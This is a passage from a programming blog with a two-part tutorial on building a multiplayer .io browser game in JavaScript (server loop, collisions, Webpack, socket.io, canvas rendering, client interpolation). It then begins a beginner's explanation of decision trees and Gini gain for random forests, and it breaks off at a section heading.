      const player = this.players[playerID];
      if (player.hp <= 0) {
        socket.emit(Constants.MSG_TYPES.GAME_OVER);
        this.removePlayer(socket);
      }
    });

    // Send a game update to each player every other time
    if (this.shouldSendUpdate) {
      const leaderboard = this.getLeaderboard();
      Object.keys(this.sockets).forEach(playerID => {
        const socket = this.sockets[playerID];
        const player = this.players[playerID];
        socket.emit(
          Constants.MSG_TYPES.GAME_UPDATE,
          this.createUpdate(player, leaderboard),
        );
      });
      this.shouldSendUpdate = false;
    } else {
      this.shouldSendUpdate = true;
    }
  }

  // ...
}

The update() method contains arguably the most important server-side logic. Let’s walk through what it does, in order:

Calculate how much time dt has passed since the last update().
Update each bullet and destroy if needed. We’ll see this implementation later - for now, we just need to know that bullet.update() returns true if the bullet should be destroyed (because it’s out of bounds).
Update each player and create a bullet if needed. We’ll also see this implementation later - player.update() may return a Bullet object.
Check for collisions between bullets and players using applyCollisions(), which returns an array of bullets that hit players. For each returned bullet, we increase the score of the player who fired it (via player.onDealtDamage()) and then remove the bullet from our bullets array.
Notify and remove any dead players.
Send a game update to all players every other time update() is called. The shouldSendUpdate helper variable mentioned earlier helps us track this. Since update() is called 60 times / second, we send game updates 30 times / second. Thus, our server’s tick rate is 30 ticks / second (we discussed tick rate in Part 1).

Why only send game updates every other time? To save bandwidth. 30 game updates per second is plenty!

Why not just call update() 30 times / second then? To improve the quality of the game simulation. The more times update() is called, the more precise the game simulation will be. We don’t want to go too crazy with update() calls, though, because that’d be computationally expensive - 60 per second is good.

The remainder of our Game class consists of helper methods used in update():

// Header: game.js, Part 3
class Game {
  // ...

  getLeaderboard() {
    return Object.values(this.players)
      .sort((p1, p2) => p2.score - p1.score)
      .slice(0, 5)
      .map(p => ({ username: p.username, score: Math.round(p.score) }));
  }

  createUpdate(player, leaderboard) {
    const nearbyPlayers = Object.values(this.players).filter(
      p => p !== player && p.distanceTo(player) <= Constants.MAP_SIZE / 2,
    );
    const nearbyBullets = this.bullets.filter(
      b => b.distanceTo(player) <= Constants.MAP_SIZE / 2,
    );

    return {
      t: Date.now(),
      me: player.serializeForUpdate(),
      others: nearbyPlayers.map(p => p.serializeForUpdate()),
      bullets: nearbyBullets.map(b => b.serializeForUpdate()),
      leaderboard,
    };
  }
}

getLeaderboard() is pretty simple - it sorts the players by score, takes the top 5, and returns the username and score for each.

createUpdate() is used in update() to create game updates to send to players. It primarily operates by invoking the serializeForUpdate() methods implemented for the Player and Bullet classes. Notice also that it only sends data to any given player about nearby players and bullets - there’s no need to include info about game objects far away from the player!

3. Server Game Objects

In our game, Players and Bullets are actually quite similar: both are ephemeral, circular, moving game objects. To take advantage of this similarity when implementing Players and Bullets, we’ll start out with a base Object class:

// Header: object.js
class Object {
  constructor(id, x, y, dir, speed) {
    this.id = id;
    this.x = x;
    this.y = y;
    this.direction = dir;
    this.speed = speed;
  }

  update(dt) {
    this.x += dt * this.speed * Math.sin(this.direction);
    this.y -= dt * this.speed * Math.cos(this.direction);
  }

  distanceTo(object) {
    const dx = this.x - object.x;
    const dy = this.y - object.y;
    return Math.sqrt(dx * dx + dy * dy);
  }

  setDirection(dir) {
    this.direction = dir;
  }

  serializeForUpdate() {
    return {
      id: this.id,
      x: this.x,
      y: this.y,
    };
  }
}

Nothing fancy here. This gives us a good starting point that can be extended. Let’s see how the Bullet class uses Object:

// Header: bullet.js
const shortid = require('shortid');
const ObjectClass = require('./object');
const Constants = require('../shared/constants');

class Bullet extends ObjectClass {
  constructor(parentID, x, y, dir) {
    super(shortid(), x, y, dir, Constants.BULLET_SPEED);
    this.parentID = parentID;
  }

  // Returns true if the bullet should be destroyed
  update(dt) {
    super.update(dt);
    return this.x < 0 || this.x > Constants.MAP_SIZE || this.y < 0 || this.y > Constants.MAP_SIZE;
  }
}

Bullet’s implementation is so short! The only extensions we add to Object are:

Using the shortid package to randomly generate an id for our bullet.
Adding a parentID field so we can track which player created this bullet.
Adding a return value to update() that’s true if the bullet is out of bounds (remember talking about this in the previous section?).

Onwards to Player:

// Header: player.js
const ObjectClass = require('./object');
const Bullet = require('./bullet');
const Constants = require('../shared/constants');

class Player extends ObjectClass {
  constructor(id, username, x, y) {
    super(id, x, y, Math.random() * 2 * Math.PI, Constants.PLAYER_SPEED);
    this.username = username;
    this.hp = Constants.PLAYER_MAX_HP;
    this.fireCooldown = 0;
    this.score = 0;
  }

  // Returns a newly created bullet, or null.
  update(dt) {
    super.update(dt);

    // Update score
    this.score += dt * Constants.SCORE_PER_SECOND;

    // Make sure the player stays in bounds
    this.x = Math.max(0, Math.min(Constants.MAP_SIZE, this.x));
    this.y = Math.max(0, Math.min(Constants.MAP_SIZE, this.y));

    // Fire a bullet, if needed
    this.fireCooldown -= dt;
    if (this.fireCooldown <= 0) {
      this.fireCooldown += Constants.PLAYER_FIRE_COOLDOWN;
      return new Bullet(this.id, this.x, this.y, this.direction);
    }
    return null;
  }

  takeBulletDamage() {
    this.hp -= Constants.BULLET_DAMAGE;
  }

  onDealtDamage() {
    this.score += Constants.SCORE_BULLET_HIT;
  }

  serializeForUpdate() {
    return {
      ...(super.serializeForUpdate()),
      direction: this.direction,
      hp: this.hp,
    };
  }
}

Players are more complex than bullets, so this class needs to store a couple extra fields. Its update() method does a few extra things, notably returning a newly fired bullet if there is no fireCooldown left (remember talking about this in the previous section?). It also extends the serializeForUpdate() method, since we need to include extra fields for a player in a game update.

Having a base Object class is key for preventing code repetition. For example, without the Object class, every game object would have the exact same implementation of distanceTo(), and it’d be a nightmare to keep all of those copy-pasted implementations in sync across different files. This becomes especially important for larger projects, as the number of classes extending Object grows.

4. Collision Detection

The only thing left to do is detect when bullets hit players! Recall this bit of code from the update() method in the Game class:

// Header: game.js
const applyCollisions = require('./collisions');

class Game {
  // ...

  update() {
    // ...

    // Apply collisions, give players score for hitting bullets
    const destroyedBullets = applyCollisions(      Object.values(this.players),
      this.bullets,
    );
    destroyedBullets.forEach(b => {
      if (this.players[b.parentID]) {
        this.players[b.parentID].onDealtDamage();
      }
    });
    this.bullets = this.bullets.filter(
      bullet => !destroyedBullets.includes(bullet),
    );

    // ...
  }
}

We need to implement an applyCollisions() method that returns all bullets that hit players. Luckily, this isn’t too hard because

All of our collidable objects are circles, which is the easiest shape to implement collision detection for.
We already have a distanceTo() method that we implement in the Object class in the previous section.

Here’s what our collision detection implementation looks like:

// Header: collisions.js
const Constants = require('../shared/constants');

// Returns an array of bullets to be destroyed.
function applyCollisions(players, bullets) {
  const destroyedBullets = [];
  for (let i = 0; i < bullets.length; i++) {
    // Look for a player (who didn't create the bullet) to collide each bullet with.
    // As soon as we find one, break out of the loop to prevent double counting a bullet.
    for (let j = 0; j < players.length; j++) {
      const bullet = bullets[i];
      const player = players[j];
      if (
        bullet.parentID !== player.id &&
        player.distanceTo(bullet) <= Constants.PLAYER_RADIUS + Constants.BULLET_RADIUS
      ) {
        destroyedBullets.push(bullet);
        player.takeBulletDamage();
        break;
      }
    }
  }
  return destroyedBullets;
}

The math behind this simple collision detection is the fact that two circles only “collide” if the distance between their centers is ≤ the sum of their radii. Here’s the case when the distance between two circle centers is exactly the sum of their radii:

There’s a couple other things we have to be careful about here:

Making sure a bullet cannot hit the player who created it. We achieve this by checking bullet.parentID against player.id.
Making sure a bullet only “hits” once in the edge case when it collides with multiple players at the same time. We take care of this with the break statement: once a player that collides with the bullet is found, we stop looking and go on to the next bullet.

The End

That’s it! We’ve gone through everything you need to know to build an .io web game. What now? Build your own .io game!

All of the code for our example .io game is open-source on Github. Have questions or concerns? Leave a comment below or tweet at me.

Happy Hacking!

How to Build a Multiplayer (.io) Web Game, Part 1

Thu, 25 Apr 2019 12:00:00 GMT

2022 Update: thank you all for tremendous support this guide has received! I’ve modernized some of the code and content in this post. Happy developing 😊

When Agar.io came out in 2015, it inspired a new .io game genre that has since exploded in popularity. I experienced the rise of .io games firsthand: I’ve built and sold 2 .io games in the past 3 years.

In case you’ve never heard of .io games before: they’re free, multiplayer web games that are easy to join (no account required) and usually pit many players against each other in one arena. Other famous .io games include Slither.io and Diep.io.

In this post, we’re going to understand how to build an .io game from scratch. All you need is a working knowledge of Javascript: you should be comfortable with things like ES6 syntax, the this keyword, and Promises. Even if you’re not the most familiar with Javascript, you should still be able to get through most of this post.

An Example .io Game

To help us learn, we’re going to be referencing the example .io game embedded below. Go ahead, try it out! You can play it right here on this page:

On mobile, it works best fullscreen at https://example-io-game.victorzhou.com

It’s a pretty simple game: you control a ship in an arena with other players. Your ship automatically fires bullets, and you’re trying to hit other players with your bullets while avoiding theirs.

This is Part 1 of a two-part series. Here’s what we’ll cover in this post:

Project Overview / Structure: A high level view of the project.
Builds / Project Setup: Development tooling, configuration, and setup.
Client Entrypoints: index.html and index.js.
Client Networking: Communicating with the server.
Client Rendering: Downloading image assets + Rendering the game.
Client Input: Letting users actually play the game.
Client State: Processing game updates from the server.

We’ll go over the Server in Part 2.

1. Project Overview / Structure

I recommend downloading the source code for the example game so you can follow along.

Our example game uses:

Express, the most popular web framework for Node.js, to power its web server.
socket.io, a websocket library, to communicate between the browser and the server.
Webpack, a module bundler. Read more about why you should use Webpack.

Here’s what the project directory structure look like:

public/
    assets/
        ...
src/
    client/
        css/
            ...
        html/
            index.html
        index.js
        ...
    server/
        server.js
        ...
    shared/
        constants.js

`public/`

Anything in the public/ folder will be statically served by our server. public/assets/ contains images used by our project.

`src/`

All the source code is in the src/ folder. client/ and server/ are pretty self explanatory, and shared/ contains a constants file that’s imported by both the client and the server.

2. Builds / Project Setup

As mentioned before, we’re using the Webpack module bundler to build our project. Let’s take a look at our Webpack configuration:

// header: webpack.common.js
const path = require('path');
const MiniCssExtractPlugin = require('mini-css-extract-plugin');

module.exports = {
  entry: {
    game: './src/client/index.js',  },
  output: {
    filename: '[name].[contenthash].js',    path: path.resolve(__dirname, 'dist'),  },
  module: {
    rules: [
      {
        test: /\.js$/,
        exclude: /node_modules/,
        use: {
          loader: "babel-loader",
          options: {
            presets: ['@babel/preset-env'],          },
        },
      },
      {
        test: /\.css$/,
        use: [
          {
            loader: MiniCssExtractPlugin.loader,
          },
          'css-loader',
        ],
      },
    ],
  },
  plugins: [
    new MiniCssExtractPlugin({
      filename: '[name].[contenthash].css',    }),
    new HtmlWebpackPlugin({
      filename: 'index.html',
      template: 'src/client/html/index.html',
    }),
  ],
};

A few key lines are highlighted above:

src/client/index.js is the Javascript (JS) client entrypoint. Webpack will start there and recursively look for other files that are imported.
The JS output of our Webpack build will be placed in the dist/ directory. I’ll refer to this file as our JS bundle.
We’re using Babel, specifically the @babel/preset-env config, to transpile our JS code for older browsers.
We’re using a plugin to extract all CSS referenced by our JS files and bundle it together. I’ll refer to this as our CSS bundle.

You may have noticed the strange '[name].[contenthash].ext' bundle filenames. They include Webpack filename substitutions: [name] will be replaced with the entrypoint name (which is game), and [contenthash] will be replaced with a hash of the file contents. We do this to optimize for caching - we can tell browsers to cache our JS bundles forever, because if the bundle changes its filename will change, too (the contenthash changes). The final result is a filename like game.dbeee76e91a97d0c7207.js.

The webpack.common.js file is a base config file that we import in our development and production configurations. For example, here’s the development config:

// Header: webpack.dev.js
const merge = require('webpack-merge');
const common = require('./webpack.common.js');

module.exports = merge(common, {
  mode: 'development',
});

We use webpack.dev.js for efficiency while developing, and we switch to webpack.prod.js to optimize bundle sizes when deploying to production.

Local Setup

I recommend installing the project on your local machine so you can follow along with the rest of this post. Setup is simple: first, make sure you have Node and NPM installed. Then,

$ git clone https://github.com/vzhou842/example-.io-game.git
$ cd example-.io-game
$ npm install

and you’re ready to go! To run the development server, simply

$ npm run develop

and visit localhost:3000 in your web browser. The dev server will automatically rebuild the JS and CSS bundles when you edit code - just refresh to see your changes!

3. Client Entrypoints

Let’s get to the actual game code. To start, we need an index.html page, which is the first thing your browser loads when it visits a site. Ours will be pretty simple:

// Header: index.html
<!DOCTYPE html>
<html>
<head>
  <title>An example .io game</title>
  <link type="text/css" rel="stylesheet" href="/game.bundle.css">
</head>
<body>
  <canvas id="game-canvas"></canvas>
  <script async src="/game.bundle.js"></script>
  <div id="play-menu" class="hidden">
    <input type="text" id="username-input" placeholder="Username" />
    <button id="play-button">PLAY</button>
  </div>
</body>
</html>

This code sample is slightly abridged for clarity, as many code samples in this post will be. You can always see the full code on Github.

We have:

An HTML5 Canvas (<canvas>) element that we’ll use to render the game.
A <link> include for our CSS bundle.
A <script> include for our Javascript bundle.
The main menu, with a username <input> and a “PLAY” <button>.

Once the homepage is loaded in your browser, our Javascript code will start executing, beginning with our JS entrypoint file: src/client/index.js.

// Header: index.js
import { connect, play } from './networking';
import { startRendering, stopRendering } from './render';
import { startCapturingInput, stopCapturingInput } from './input';
import { downloadAssets } from './assets';
import { initState } from './state';
import { setLeaderboardHidden } from './leaderboard';

import './css/main.css';

const playMenu = document.getElementById('play-menu');
const playButton = document.getElementById('play-button');
const usernameInput = document.getElementById('username-input');

Promise.all([
  connect(),
  downloadAssets(),
]).then(() => {
  playMenu.classList.remove('hidden');
  usernameInput.focus();
  playButton.onclick = () => {
    // Play!
    play(usernameInput.value);
    playMenu.classList.add('hidden');
    initState();
    startCapturingInput();
    startRendering();
    setLeaderboardHidden(false);
  };
});

This might seem complicated, but there’s actually not that much going on here:

Import a bunch of other JS files.
Import some CSS (so Webpack knows to include it in our CSS bundle).
Run connect() to establish a connection to the server, and run downloadAssets() to download the images we need to render the game.
Once step 3 has finished, display the main menu (playMenu).
Setup a click handler for the “PLAY” button. If clicked, initialize the game and tell the server we’re ready to play.

The meat of our client-side logic resides in those other files that are imported by index.js. We’ll go through each of those next.

4. Client Networking

For this game, we’ll use the well-known socket.io library to communicate with the server. Socket.io includes built-in support for WebSockets, which are great for two-way communication: we can send messages to the server and the server can send messages to us over the same connection.

We’ll have one file, src/client/networking.js, that takes care of all communication with the server:

// Header: networking.js
import io from 'socket.io-client';
import { processGameUpdate } from './state';

const Constants = require('../shared/constants');

const socket = io(`ws://${window.location.host}`);
const connectedPromise = new Promise(resolve => {
  socket.on('connect', () => {
    console.log('Connected to server!');
    resolve();
  });
});

export const connect = onGameOver => (
  connectedPromise.then(() => {
    // Register callbacks
    socket.on(Constants.MSG_TYPES.GAME_UPDATE, processGameUpdate);
    socket.on(Constants.MSG_TYPES.GAME_OVER, onGameOver);
  })
);

export const play = username => {
  socket.emit(Constants.MSG_TYPES.JOIN_GAME, username);
};

export const updateDirection = dir => {
  socket.emit(Constants.MSG_TYPES.INPUT, dir);
};

This code was again slightly abridged for clarity.

3 major things happen in this file:

We try to connect to the server. connectedPromise only resolves once we’ve established a connection.
If the connection succeeds, we register callbacks (processGameUpdate() and onGameOver()) for messages we might receive from the server.
We export play() and updateDirection() for other files to use.

5. Client Rendering

Time to make stuff show up on screen!

…but before we can do that, we must download all the images (assets) we need to do so. Let’s write an Assets manager:

// Header: assets.js
const ASSET_NAMES = ['ship.svg', 'bullet.svg'];

const assets = {};
const downloadPromise = Promise.all(ASSET_NAMES.map(downloadAsset));

function downloadAsset(assetName) {
  return new Promise(resolve => {
    const asset = new Image();
    asset.onload = () => {
      console.log(`Downloaded ${assetName}`);
      assets[assetName] = asset;
      resolve();
    };
    asset.src = `/assets/${assetName}`;
  });
}

export const downloadAssets = () => downloadPromise;
export const getAsset = assetName => assets[assetName];

Managing assets isn’t so hard to implement! The main idea is to keep an assets object that maps a filename key to an Image object value. When an asset is finished downloading, we save it to the assets object for easy retrieval later. Finally, once each individual asset download has resolved (meaning all assets have been downloaded), we resolve downloadPromise.

With downloading assets out of the way, we can move on to rendering. As mentioned earlier, we’re using an HTML5 Canvas (<canvas>) to draw to our webpage. Our game is pretty simple, so all we need to draw is:

The background
Our player’s ship
Other players in the game
Bullets

Here are the important parts of src/client/render.js, which draws exactly those 4 things I listed above:

// Header: render.js
import { getAsset } from './assets';
import { getCurrentState } from './state';

const Constants = require('../shared/constants');
const { PLAYER_RADIUS, PLAYER_MAX_HP, BULLET_RADIUS, MAP_SIZE } = Constants;

// Get the canvas graphics context
const canvas = document.getElementById('game-canvas');
const context = canvas.getContext('2d');

// Make the canvas fullscreen
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;

function render() {
  const { me, others, bullets } = getCurrentState();
  if (me) {
    // Draw background
    renderBackground(me.x, me.y);

    // Draw all bullets
    bullets.forEach(renderBullet.bind(null, me));

    // Draw all players
    renderPlayer(me, me);
    others.forEach(renderPlayer.bind(null, me));
  }

  // Rerun this render function on the next frame
  animationFrameRequestId = requestAnimationFrame(render);
}

// ... Helper functions here excluded

let animationFrameRequestId;

// Replaces main menu rendering with game rendering.
export function startRendering() {
  animationFrameRequestId = requestAnimationFrame(render);
}

// Replaces game rendering with main menu rendering.
export function stopRendering() {
  cancelAnimationFrame(animationFrameRequestId);
}

This code was also slightly edited for clarity.

render() is the primary function of this file. startRendering() and stopRendering() control activation of the render loop, which uses requestAnimationFrame to rerender when necessary.

The specific implementations of the individual render helper functions (e.g. renderBullet()) are not as important, but here’s one simple example:

// Header: render.js
function renderBullet(me, bullet) {
  const { x, y } = bullet;
  context.drawImage(
    getAsset('bullet.svg'),
    canvas.width / 2 + x - me.x - BULLET_RADIUS,
    canvas.height / 2 + y - me.y - BULLET_RADIUS,
    BULLET_RADIUS * 2,
    BULLET_RADIUS * 2,
  );
}

Notice how we’re using the getAsset() method we saw earlier from asset.js!

Read the rest of src/client/render.js if you’re interested in seeing the other render helper functions.

6. Client Input 🕹️

It’s time to make the game playable! Our control scheme is very simple: use the mouse (on desktop) or touch the screen (on mobile) to control the direction of movement. To do this, we’ll register Event Listeners for Mouse and Touch events.

src/client/input.js takes care of it all:

// Header: input.js
import { updateDirection } from './networking';

function onMouseInput(e) {
  handleInput(e.clientX, e.clientY);
}

function onTouchInput(e) {
  const touch = e.touches[0];
  handleInput(touch.clientX, touch.clientY);
}

function handleInput(x, y) {
  const dir = Math.atan2(x - window.innerWidth / 2, window.innerHeight / 2 - y);
  updateDirection(dir);
}

export function startCapturingInput() {
  window.addEventListener('mousemove', onMouseInput);
  window.addEventListener('touchmove', onTouchInput);
}

export function stopCapturingInput() {
  window.removeEventListener('mousemove', onMouseInput);
  window.removeEventListener('touchmove', onTouchInput);
}

onMouseInput() and onTouchInput() are Event Listeners that call updateDirection() (from networking.js) when an input event happens (e.g. the mouse moves). updateDirection() takes care of messaging the server, which handles the input event and updates the game state accordingly.

7. Client State

This section is the most advanced one in this post. Don’t be discouraged if you don’t understand everything on the first readthrough! Feel free to skip this section and come back to it later, too.

The last piece of the puzzle we need to complete the client-side code is the state. Remember this bit of code from the Client Rendering section?

// Header: render.js
import { getCurrentState } from './state';

function render() {
  const { me, others, bullets } = getCurrentState();
  // Do the rendering
  // ...
}

getCurrentState() must be able to give us the client’s current game state at any point in time based on game updates received from the server. Here’s an example game update the server might send:

{
  "t": 1555960373725,
  "me": {
    "x": 2213.8050880413657,
    "y": 1469.370893425012,
    "direction": 1.3082443894581433,
    "id": "AhzgAtklgo2FJvwWAADO",
    "hp": 100
  },
  "others": [],
  "bullets": [
    {
      "id": "RUJfJ8Y18n",
      "x": 2354.029197099604,
      "y": 1431.6848318262666
    },
    {
      "id": "ctg5rht5s",
      "x": 2260.546457727445,
      "y": 1456.8088728920968
    }
  ],
  "leaderboard": [
    {
      "username": "Player",
      "score": 3
    }
  ]
}

Each game update has these same 5 fields:

t: The server timestamp at which this update was created.
me: The player info for the player receiving the update.
others: An array of player info for other players in the same game.
bullets: An array of bullet info for bullets in the game.
leaderboard: The current leaderboard data. We’re ignoring this for this post.

7.1 Naive Client State

A naive implementation of getCurrentState() could just directly return the data from the most recently received game update.

// Header: naive-state.js
let lastGameUpdate = null;

// Handle a newly received game update.
export function processGameUpdate(update) {
  lastGameUpdate = update;
}

export function getCurrentState() {
  return lastGameUpdate;
}

Nice and clean! If only it were that easy. One reason this implementation is problematic is because it limits the render frame rate to the server tick rate.

Frame Rate: The number of frames (i.e. render() calls) per second, or FPS. Games generally target at least 60 FPS.

Tick Rate: The rate at which the server sends game updates to clients. This is often lower than the frame rate. For our game, the server operates at 30 ticks per second.

If we just render the most recent game update, our effective FPS cannot exceed 30 because we’ll never receive more then 30 updates per second from the server. Even if we call render() 60 times per second, half of those calls would just redraw the exact same thing, effectively doing nothing.

Another problem with the naive implementation is that it’s prone to lag. Under perfect internet conditions, the client would receive a game update exactly every 33 ms (30 per second):

Sadly, nothing is ever that perfect. A more realistic representation might look like this:

The naive implementation is pretty much the worst case scenario when it comes to lag. If a game update arrives 50 ms late, the client freezes for an extra 50 ms because it’s still rendering the game state of the previous update. You can imagine how that’d be a bad experience for the player: the game would be jittery and feel unstable because it randomly freezes.

7.2 Better Client State

We’ll make a few simple improvements to the naive implementation. The first is to use a render delay of 100 ms, meaning the “current” client state will always be 100 ms behind the server’s game state. For example, if the server is at time 150, the state rendered on the client will be what the server state was at time 50:

This gives us a 100 ms buffer to tolerate unpredictable game update arrivals:

The cost of doing this is a constant 100 ms input lag. That’s a small price to pay to have consistent, smooth gameplay - the majority of players (especially casual players) won’t even notice the delay. It’s much easier for humans to adjust to a constant 100 ms lag than try to play with unpredictable lag.

There’s a different technique we can use called client-side prediction that’s good at reducing perceived lag, but that’s outside of the scope of this post.

The other improvement we’ll make is to use linear interpolation. Because of the render delay, we’ll usually already have at least 1 update ahead of current client time. Whenever getCurrentState() is called, we can linearly interpolate between the game updates immediately before and after current client time:

This solves our frame rate problem: we can now render unique frames as often as we want!

7.3 Implementing Better Client State

The example implementation in src/client/state.js uses both a render delay and linear interpolation, but it’s a little long. Let’s break it down into parts. Here’s the first:

// Header: state.js, Part 1
const RENDER_DELAY = 100;

const gameUpdates = [];
let gameStart = 0;
let firstServerTimestamp = 0;

export function initState() {
  gameStart = 0;
  firstServerTimestamp = 0;
}

export function processGameUpdate(update) {
  if (!firstServerTimestamp) {
    firstServerTimestamp = update.t;
    gameStart = Date.now();
  }
  gameUpdates.push(update);

  // Keep only one game update before the current server time
  const base = getBaseUpdate();
  if (base > 0) {
    gameUpdates.splice(0, base);
  }
}

function currentServerTime() {
  return firstServerTimestamp + (Date.now() - gameStart) - RENDER_DELAY;
}

// Returns the index of the base update, the first game update before
// current server time, or -1 if N/A.
function getBaseUpdate() {
  const serverTime = currentServerTime();
  for (let i = gameUpdates.length - 1; i >= 0; i--) {
    if (gameUpdates[i].t <= serverTime) {
      return i;
    }
  }
  return -1;
}

The first thing to understand is what currentServerTime() does. As we saw before, every game update includes a server timestamp. We want to use a render delay to render 100 ms behind the server, but we’ll never know what the current time is on the server because we can’t know how long it took for any given update to arrive. The internet is unpredictable and can vary widely!

To get around this issue, we’ll use a reasonable approximation: we pretend the first update arrived instantly. If that were true, then we’d know the server time at that exact instant! We store the server timestamp in firstServerTimestamp, and we store our local (client) timestamp at that same instant in gameStart.

Woah, wait a second. Shouldn’t time on the server = time on the client? Why is there a distinction between the “server timestamp” and the “client timestamp”? That’s a great question, reader! Turns out, they aren’t the same. Date.now() will return different timestamps on the client and the server based on factors local to those machines. Never assume that your timestamps will be consistent across machines.

Now it’s clear what currentServerTime() does: it returns the server timestamp of the current render time. In other words, it’s the current server time (firstServerTimestamp + (Date.now() - gameStart)) minus the render delay (RENDER_DELAY).

Next, let’s understand how we’re handling game updates. processGameUpdate() is called whenever an update is received from the server, and we store the new update in our gameUpdates array. Then, to keep our memory use in check, we remove any old updates from before the base update, since we won’t need those anymore.

What exactly is the base update? It’s the first update we find when going backwards from current server time. Remember this drawing?

The game update immediately to the left of “Client Render Time” is the base update.

What’s the base update used for? Why can we throw away updates from before the base update? Let’s finally look at the implementation of getCurrentState() to find out:

// Header: state.js, Part 2
export function getCurrentState() {
  if (!firstServerTimestamp) {
    return {};
  }

  const base = getBaseUpdate();
  const serverTime = currentServerTime();

  // If base is the most recent update we have, use its state.
  // Else, interpolate between its state and the state of (base + 1).
  if (base < 0) {
    return gameUpdates[gameUpdates.length - 1];
  } else if (base === gameUpdates.length - 1) {
    return gameUpdates[base];
  } else {
    const baseUpdate = gameUpdates[base];
    const next = gameUpdates[base + 1];
    const r = (serverTime - baseUpdate.t) / (next.t - baseUpdate.t);
    return {
      me: interpolateObject(baseUpdate.me, next.me, r),
      others: interpolateObjectArray(baseUpdate.others, next.others, r),
      bullets: interpolateObjectArray(baseUpdate.bullets, next.bullets, r),
    };
  }
}

There are 3 cases we handle:

base < 0, meaning there are no updates before the current render time (see implementation of getBaseUpdate() above). This can happen right at the start of the game due to the render delay. In this case, we use the most recent update we have.
base is the most recent update we have (😢). This can happen because of lag or poor internet connectivity. In this case, we also use the most recent update we have.
We have an update both before and after the current render time, so we can interpolate!

All that’s left in state.js is the implementation of linear interpolation, which is just some simple (but boring) math. If you want to see it for yourself, look at state.js on Github.

Conclusion

You made it! That was the entire game client of an .io game distilled to its essentials.

In Part 2 of this series, we’ll switch to the backend and talk about to build an .io game server.

Have questions? Leave a comment below or tweet at me. Found a bug or spot a problem in my code? Submit an issue or PR to the example-.io-game Github repo.

Thanks for reading!

Random Forests for Complete Beginners

Wed, 10 Apr 2019 12:00:00 GMT

In my opinion, most Machine Learning tutorials aren’t beginner-friendly enough.

Last month, I wrote an introduction to Neural Networks for complete beginners. This post will adopt the same strategy, meaning it again assumes ZERO prior knowledge of machine learning. We’ll learn what Random Forests are and how they work from the ground up.

Ready? Let’s dive in.

1. Decision Trees 🌲

A Random Forest 🌲🌲🌲 is actually just a bunch of Decision Trees 🌲 bundled together (ohhhhh that’s why it’s called a forest). We need to talk about trees before we can get into forests.

Look at the following dataset:

If I told you that there was a new point with an $x$ coordinate of $1$ , what color do you think it’d be?

Blue, right?

You just evaluated a decision tree in your head:

That’s a simple decision tree with one decision node that tests $x < 2$ . If the test passes ( $x < 2$ ), we take the left branch and pick Blue. If the test fails ( $x \geq 2$ ), we take the right branch and pick Green.

Decision Trees are often used to answer that kind of question: given a labelled dataset, how should we classify new samples?

Labelled: Our dataset is labelled because each point has a class (color): blue or green.

Classify: To classify a new datapoint is to assign a class (color) to it.

Here’s a dataset that has 3 classes now instead of 2:

Our old decision tree doesn’t work so well anymore. Given a new point $(x, y)$ ,

If $x \geq 2$ , we can still confidently classify it as green.
If $x < 2$ , we can’t immediately classify it as blue - it could be red, too.

We need to add another decision node to our decision tree:

Pretty simple, right? That’s the basic idea behind decision trees.

2. Training a Decision Tree

Let’s start training a decision tree! We’ll use the 3 class dataset again:

2.1 Training a Decision Tree: The Root Node

Our first task is to determine the root decision node in our tree. Which feature ( $x$ or $y$ ) will it test on, and what will the test threshold be? For example, the root node in our tree from earlier used the $x$ feature with a test threshold of $2$ :

Intuitively, we want a decision node that makes a “good” split, where “good” can be loosely defined as separating different classes as much as possible. The root node above makes a “good” split: all the greens are on the right, and no greens are on the left.

Thus, our goal is now to pick a root node that gives us the “best” split possible. But how do we quantify how good a split is? It’s complicated. I wrote an entire blog post about one way to do this using a metric called Gini Impurity. ← I recommend reading it right now before you continue - we’ll be using those concepts later in this post.

Welcome back!

Hopefully, you just read my Gini Impurity post. If you didn’t, here’s a very short TL;DR: We can use Gini Impurity to calculate a value called Gini Gain for any split. A better split has higher Gini Gain.

Back to the problem of determining our root decision node. Now that we have a way to evaluate splits, all we have to do to is find the best split possible! For the sake of simplicity, we’re just going to try every possible split and use the best one (the one with the highest Gini Gain). This is not the fastest way to find the best split, but it is the easiest to understand.

Trying every split means trying

Every feature ( $x$ or $y$ ).
All “unique” thresholds. We only need to try thresholds that produce different splits.

For example, here are the thresholds we might select if we wanted to use the $x$ coordinate:

Let’s do an example Gini Gain calculation for the $x = 0.4$ split.

Split	Left Branch	Right Branch
$x = 0.4$

First, we calculate the Gini Impurity of the whole dataset:

\begin{aligned} G_{initial} &= \sum_{i=1}^3 p(i) * (1 - p(i)) \\ &= 3 * (\frac{1}{3} * \frac{2}{3}) \\ &= \boxed{\frac{2}{3}} \\ \end{aligned}

Then, we calculate the Gini Impurities of the two branches:

G_{left} = 0 * 1 + 1 * 0 + 0 * 1 = \boxed{0}

\begin{aligned} G_{right} &= \frac{3}{8} * \frac{5}{8} + \frac{2}{8} * \frac{6}{8} + \frac{3}{8} * \frac{5}{8} \\ &= \boxed{\frac{21}{32}} \\ \end{aligned}

Finally, we calculate Gini Gain by subtracting the weighted branch impurities from the original impurity:

\begin{aligned} \text{Gain} &= G_{initial} - \frac{1}{9} G_{left} - \frac{8}{9} G_{right} \\ &= \frac{2}{3} - \frac{1}{9} * 0 - \frac{8}{9} * \frac{21}{32} \\ &= \boxed{0.083} \\ \end{aligned}

Confused about what just happened? I told you you should’ve read my Gini Impurity post. It’ll explain all of this Gini stuff.

We can calculate Gini Gain for every possible split in the same way:

Split	Left Branch	Right Branch	Gini Gain
$x = 0.4$			$0.083$
$x = 0.8$			$0.048$
$x = 1.1$			$0.133$
$x = 1.3$			$0.233$
$x = 2$			$0.333$
$x = 2.4$			$0.191$
$x = 2.8$			$0.083$
$y = 0.8$			$0.083$
$y = 1.2$			$0.111$
$y = 1.8$			$0.233$
$y = 2.1$			$0.233$
$y = 2.4$			$0.111$
$y = 2.7$			$0.048$
$y = 2.9$			$0.083$

After trying all thresholds for both $x$ and $y$ , we’ve found that the $x = 2$ split has the highest Gini Gain, so we’ll make our root decision node use the $x$ feature with a threshold of $2$ . Here’s what we’ve got so far:

Making progress!

2.2: Training a Decision Tree: The Second Node

Time to make our second decision node. Let’s (arbitrarily) go to the left branch. We’re now only using the datapoints that would take the left branch (i.e. the datapoints satisfying $x < 2$ ), specifically the 3 blues and 3 reds.

To build our second decision node, we just do the same thing! We try every possible split for the 6 datapoints we have and realize that $y = 2$ is the best split. We make that into a decision node and now have this:

Our decision tree is almost done…

2.3 Training a Decision Tree: When to Stop?

